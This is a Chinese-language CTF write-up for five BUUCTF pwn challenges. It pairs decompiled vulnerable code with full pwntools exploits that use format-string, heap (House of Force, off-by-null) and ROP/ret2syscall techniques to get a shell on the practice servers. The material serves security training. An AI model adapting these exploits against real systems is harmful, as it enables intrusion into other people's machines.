BUUCTF pwn wp 146 - 150

hitcontraining_playfmt

falca@Ubuntu-2000:~/Desktop/hitcontraining_playfmt$ file playfmt; checksec playfmt
playfmt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38c67cd31046e505ee0b71aeb170232225f3e11b, not stripped
[*] '/home/falca/Desktop/hitcontraining_playfmt/playfmt'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

什么保护都不开

int do_fmt()
{
  int result; // eax

  while ( 1 )
  {
    read(0, buf, 0xC8u);
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}

堆上的fmt漏洞, ebp链劫持ret addr

from pwn import *

url, port = "node4.buuoj.cn", 28605
filename = "./playfmt"
elf = ELF(filename)
libc = ELF('./libc32-2.23.so')
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))

'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
'''

def pwn():
    gadgets = [0x3a80c, 0x3a80e, 0x3a812, 0x3a919, 0x5f065, 0x5f066]

    io.recvlines(3)
    io.sendline("%6$p,%19$p")
    stack_addr, libc_addr = io.recvline()[:-1].split(b",")
    stack_addr = int(stack_addr, 16)
    libc_addr = int(libc_addr, 16)
    lf("stack addr", stack_addr)
    lf("libc addr", libc_addr)

    libc.address = libc_addr - 247 - libc.sym['__libc_start_main']
    lf("libc base addr", libc.address)
    one_gadget = libc.offset_to_vaddr(gadgets[0])

    # get ebp low addr
    low_1_b = stack_addr & 0xff
    # hijack ebp-->addr to retaddr
    payload = "%{}c%6$hhn".format(low_1_b + 4).ljust(0x18, "z")
    io.sendline(payload)
    io.recv()
    sleep(2)

    # hijack retaddr to one_gadget
    payload = "%{}c%10$hn".format(one_gadget & 0xffff).ljust(0x18, "z")
    io.sendline(payload)
    io.recv()
    sleep(2)

    # hijack ebp-->addr to retaddr (high addr)
    payload = "%{}c%6$hhn".format(low_1_b + 4 + 2).ljust(0x10, "z")
    io.sendline(payload)
    io.recv()
    sleep(2)

    # hijack retaddr to one_gadget(high addr)
    payload = "%{}c%10$hn".format((one_gadget >> 16) & 0xffff).ljust(0x18, "z")
    io.sendline(payload)
    io.recv()
    sleep(2)

    # recover ebp-->addr
    payload = "%{}c%6$hhn".format(low_1_b + 0x10).ljust(0x18, "z")
    io.sendline(payload)
    io.recv()
    sleep(2)
    io.sendline("quit")


if __name__ == "__main__":
    pwn()
    io.interactive()

gwctf_2019_easy_pwn

falca@Ubuntu-2000:~/Desktop/gwctf_2019_easy_pwn$ file gwctf_2019_easy_pwn; checksec gwctf_2019_easy_pwn
gwctf_2019_easy_pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=65ad94981d6821c48b786e3b9dd00c31caa4f398, stripped
[*] '/home/falca/Desktop/gwctf_2019_easy_pwn/gwctf_2019_easy_pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

C++写的, 耐心分析一下, 功能就是把输入的字符串中的 I 转为 pretty

int sub_8049091()
{
  int v0; // eax
  int v1; // eax
  unsigned int v2; // eax
  int v3; // eax
  const char *v4; // eax
  _DWORD v6[3]; // [esp+0h] [ebp-68h] BYREF
  char s[32]; // [esp+Ch] [ebp-5Ch] BYREF
  char v8[24]; // [esp+2Ch] [ebp-3Ch] BYREF
  char v9[24]; // [esp+44h] [ebp-24h] BYREF
  unsigned int i; // [esp+5Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  puts("Hello,please tell me your name!");
  read(0, s, 0x20u);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804C0CC, &unk_804A070);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, s);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v8, &unk_804C0E4);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v9, &unk_804C0CC);
  sub_8048F8B(v6);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v9);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v8);
  if ( sub_8049556(v6) > 1 )
  {
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804C0CC, &unk_804A070);
    v0 = sub_8049576(v6, 0);
    if ( (unsigned __int8)sub_804958E(v0, &unk_804A070) )
    {
      v1 = sub_8049576(v6, 0);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, v1);
    }
    for ( i = 1; ; ++i )
    {
      v2 = sub_8049556(v6);
      if ( v2 <= i )
        break;
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, "pretty");
      v3 = sub_8049576(v6, i);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, v3);
    }
  }
  v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&unk_804C0CC);
  strcpy(s, v4);
  printf("Bye!%s", s);
  return sub_8049488(v6);
}

因为替换导致在strcpy的时候发生溢出, 而且保护没有canary, 直接ROP就行

from pwn import *

url, port = "node4.buuoj.cn", 28119
filename = "./gwctf_2019_easy_pwn"
elf = ELF(filename)
libc = ELF('./libc32-2.23.so')
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))

'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
'''

def pwn():
    gadgets = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    main_addr = 0x8049091
    
    payload = b'I'*16 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    io.send(payload)
    io.recvuntil('pretty'*16)
    io.recv(12)
    puts_addr = u32(io.recv(4))
    lf('puts address', puts_addr)
    
    libc.address = puts_addr - libc.sym['puts']
    one_gadget = libc.offset_to_vaddr(gadgets[0])
    payload = b'I'*16 + p32(one_gadget)
    io.send(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

bctf2016_bcloud

falca@Ubuntu-2000:~/Desktop/bctf2016_bcloud$ file bcloud; checksec bcloud
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
[*] '/home/falca/Desktop/bctf2016_bcloud/bcloud'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

input_name函数的strcpy存在内存泄露, s输入0x40个字符可以跟着泄露出name_ptr地址 (这里虽然readstr函数有off-by-null漏洞, 但是被strcpy给冲掉了

unsigned int sub_80487A1()
{
  char s[64]; // [esp+1Ch] [ebp-5Ch] BYREF
  char *name_ptr; // [esp+5Ch] [ebp-1Ch]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  memset(s, 0, 0x50u);
  puts("Input your name:");
  readstr(s, 64, 10);
  name_ptr = (char *)malloc(0x40u);
  name_buf = (int)name_ptr;
  strcpy(name_ptr, s);
  print_welcome(name_ptr);
  return __readgsdword(0x14u) ^ v3;
}

input_org_host也有同样的问题, 并且可以借此修改top chunk size

unsigned int input_org_host()
{
  char Org[64]; // [esp+1Ch] [ebp-9Ch] BYREF
  char *v2; // [esp+5Ch] [ebp-5Ch]
  char Host[68]; // [esp+60h] [ebp-58h] BYREF
  char *v4; // [esp+A4h] [ebp-14h]
  unsigned int v5; // [esp+ACh] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  memset(Org, 0, 0x90u);
  puts("Org:");
  readstr(Org, 64, 10);
  puts("Host:");
  readstr(Host, 64, 10);
  v4 = (char *)malloc(0x40u);
  v2 = (char *)malloc(0x40u);
  orginfo = (int)v2;
  hostinfo = (int)v4;
  strcpy(v4, Host);
  strcpy(v2, Org);
  puts("OKay! Enjoy:)");
  return __readgsdword(0x14u) ^ v5;
}

House Of Force, 需要以下条件:
(1) 能够以溢出等方式控制到 top chunk 的 size 域; (2) 能够自由地控制堆分配尺寸的大小
此题满足, 所以用house of force打contents指针, 实现任意地址写, Partial RELRO可以改got表, 控制got表就可以归约到泄露libc劫持got表到system那套流程

from pwn import *

url, port = "node4.buuoj.cn", 25559
filename = "./bcloud"
elf = ELF(filename)
libc = ELF("./libc32-2.23.so")
context(arch="i386", os="linux")

local = 0
if local:
    # context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))

def B():
    gdb.attach(io)
    pause()

def add(size, content):
    io.sendlineafter("option--->>", "1")
    io.sendlineafter("Input the length of the note content:", str(size))
    io.sendafter("Input the content:", content)

def edit(idx, content):
    io.sendlineafter("option--->>", "3")
    io.sendlineafter("Input the id:", str(idx))
    io.sendafter("Input the new content:", content)

def delete(idx):
    io.sendlineafter("option--->>", "4")
    io.sendlineafter("Input the id:", str(idx))

def pwn():
    contents_addr = 0x0804b120
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    free_got = elf.got['free']

    io.sendafter("Input your name:", 'z'*0x40)
    io.recvuntil('z'*0x40)
    chunk0_addr = u32(io.recv(4))
    lf('chunk0_addr', chunk0_addr)

    io.sendafter('Org:\n', 'z'*0x40)
    io.sendlineafter('Host:\n', p32(0xffffffff))

    topchunk_addr = chunk0_addr + 0xd0
    offset = contents_addr - topchunk_addr - 0x10 - 4 # malloc(size + 4)
    lf('offset', offset)
    add(offset, '')

    payload = p32(0) + p32(free_got) + p32(puts_got) 
    payload += p32(contents_addr + 0x10) + b'/bin/sh\x00'
    add(0x18, payload)
    edit(1, p32(puts_plt) + b'\n') # hijack free@got to put@plt
    delete(2) # puts puts@got leak libc 

    print(io.recv(1))
    libc.address = u32(io.recv(4)) - libc.sym['puts']
    lf('libc base addr', libc.address)
    system_addr = libc.sym['system']
    lf('system addr', system_addr)

    edit(1, p32(system_addr) + b'\n')
    delete(3)


if __name__ == "__main__":
    pwn()
    io.interactive()

坑点总结, sendlineafter(string, payload)中的string结尾不要带'\n', 远程IO交互会出错 (也是服了

asis2016_b00ks

falca@Ubuntu-2000:~/Desktop/asis2016_b00ks$ file b00ks; checksec b00ks
b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
[*] '/home/falca/Desktop/asis2016_b00ks/b00ks'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

off-by-null经典例题
漏洞在读入函数, 会多写一个null

__int64 __fastcall readstr(_BYTE *buf, int size)
{
  int i; // [rsp+14h] [rbp-Ch]

  if ( size <= 0 )
    return 0LL;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, buf, 1uLL) != 1 )
      return 1LL;
    if ( *buf == '\n' )
      break;
    ++buf;
    if ( i == size )
      break;
  }
  *buf = 0;
  return 0LL;
}

另外在data段可以越界写入null字节, 而后author_name可以覆盖掉null字节, 打印name时因为没有截断符则可以泄露内存信息
在这里插入图片描述
off-by-one布局堆, unsorted bin attack泄露libc, 劫持free_hook

from pwn import *

url, port = "node4.buuoj.cn", 28118
filename = "./b00ks"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))

def B():
    gdb.attach(io)
    pause()

def add(name_size, name, content_size, content):
    io.sendlineafter('> ', '1')
    io.sendlineafter('size: ', str(name_size))
    io.sendlineafter('chars): ', name)
    io.sendlineafter('size: ', str(content_size))
    io.sendlineafter('tion: ', content)

def delete(index):
    io.sendlineafter('> ', '2')
    io.sendlineafter('delete: ', str(index))

def edit(index, content):
    io.sendlineafter('> ', '3')
    io.sendlineafter('edit: ', str(index))
    io.sendlineafter('ption: ', content)

def show():
    io.sendlineafter('> ', '4')

def change(author_name):
    io.sendlineafter('> ', '5')
    io.sendlineafter('name: ', author_name)

def pwn():
    io.sendlineafter('name: ', 'z'*0x20)
    add(0xd0, 'falcaaaa', 0x20, 'fa1c4444')
    show()
    io.recvuntil('z' * 0x20)
    heap_addr = u64(io.recv(6).ljust(8, b'\x00'))
    lf('heap addr', heap_addr)
    
    add(0x80, 'falcaaaa', 0x60, 'fa1c4444')
    add(0x20, '/bin/sh', 0x20, '/bin/sh')
    delete(2)
    payload = p64(1) + p64(heap_addr + 0x30) + p64(heap_addr + 0x180 + 0x50) + p64(0x20)
    edit(1, payload)
    change('z'*0x20)
    show()
    malloc_hook_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
    libc.address = malloc_hook_addr - libc.sym['__malloc_hook']
    lf('libc base address', libc.address)
    __free_hook = libc.sym['__free_hook']
    system_addr = libc.sym['system']
    lf('free hook address', __free_hook)

    payload = p64(__free_hook) + b'\x00\x00' + b'\x20'
    edit(1, payload)
    edit(3, p64(system_addr))
    delete(3)


if __name__ == "__main__":
    pwn()
    io.interactive()

warmup

falca@Ubuntu-2000:~/Desktop/warmup$ file warmup; checksec warmup
warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped
[*] '/home/falca/Desktop/warmup/warmup'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序功能很简单, 读入一次字符串

void __noreturn start()
{
  time(0xAu);
  print(1, aWelcomeTo0ctf2, 0x16u);
  read();
  exit();
}

0x34写入32会有栈溢出, 但限制长度, ROP可以长20字节, 就是5个p32()

unsigned __int64 sub_804815A()
{
  char addr[32]; // [esp+10h] [ebp-20h] BYREF

  sysread(0, addr, 0x34u);
  print(1, aGoodLuck, 0xBu);
  return 0xDEADBEAFDEADBEAFLL;
}

BUUCTF pwn wp 146 - 150_第1张图片

有sysread, syswrite
那就是ret2syscall了, 控制好参数可以int80中断时调用execve(“/bin/sh”)

32位 syscall 的传参

eax: 系统调用号
ebx: 参数1
ecx: 参数2
edx: 参数3

先向data段注入"/bin/sh", 然后第二次利用时劫持程序到0x08048122, 控制好参数执行execve, 这里如果第二次ROP直接到0x08048122, 会因为eax设置不对而调用失败, 所以需要先劫持到sysread, 再写入一次, 这里就比较考验基本功了read读入的字符数会在eax中作为返回值进行保存, 所以这时传入的字符数还得恰好是0xb==11个, 跟着0x08048122才正好调用成功

BUUCTF pwn wp 146 - 150_第2张图片

BUUCTF pwn wp 146 - 150_第3张图片
这里只注入一次会失败, 因为envp参数==0x1而不是0, 中断时就出错了, 所以还就得调用两次sysread

from pwn import *

url, port = "node4.buuoj.cn", 25860
filename = "./warmup"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    data_addr = 0x080491BC
    read_addr = 0x0804811D
    start_addr = 0x080480D8
    syscall_addr = 0x08048122
    zero_addr = 0x08049220
    payload = cyclic(0x20) + p32(read_addr) + p32(start_addr) 
    payload += p32(0) + p32(data_addr) + p32(8)
    io.sendafter('2016!\n', payload)
    sleep(0.2)
    io.send('/bin/sh\x00')

    payload = cyclic(0x20) + p32(read_addr) + p32(syscall_addr) 
    payload += p32(0) + p32(data_addr) + p32(zero_addr)
    sleep(0.2)
    io.send(payload)
    sleep(0.2)
    # B()
    io.send('/bin/sh\x00\x00\x00\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

你可能感兴趣的:(PWN,linux,pwn)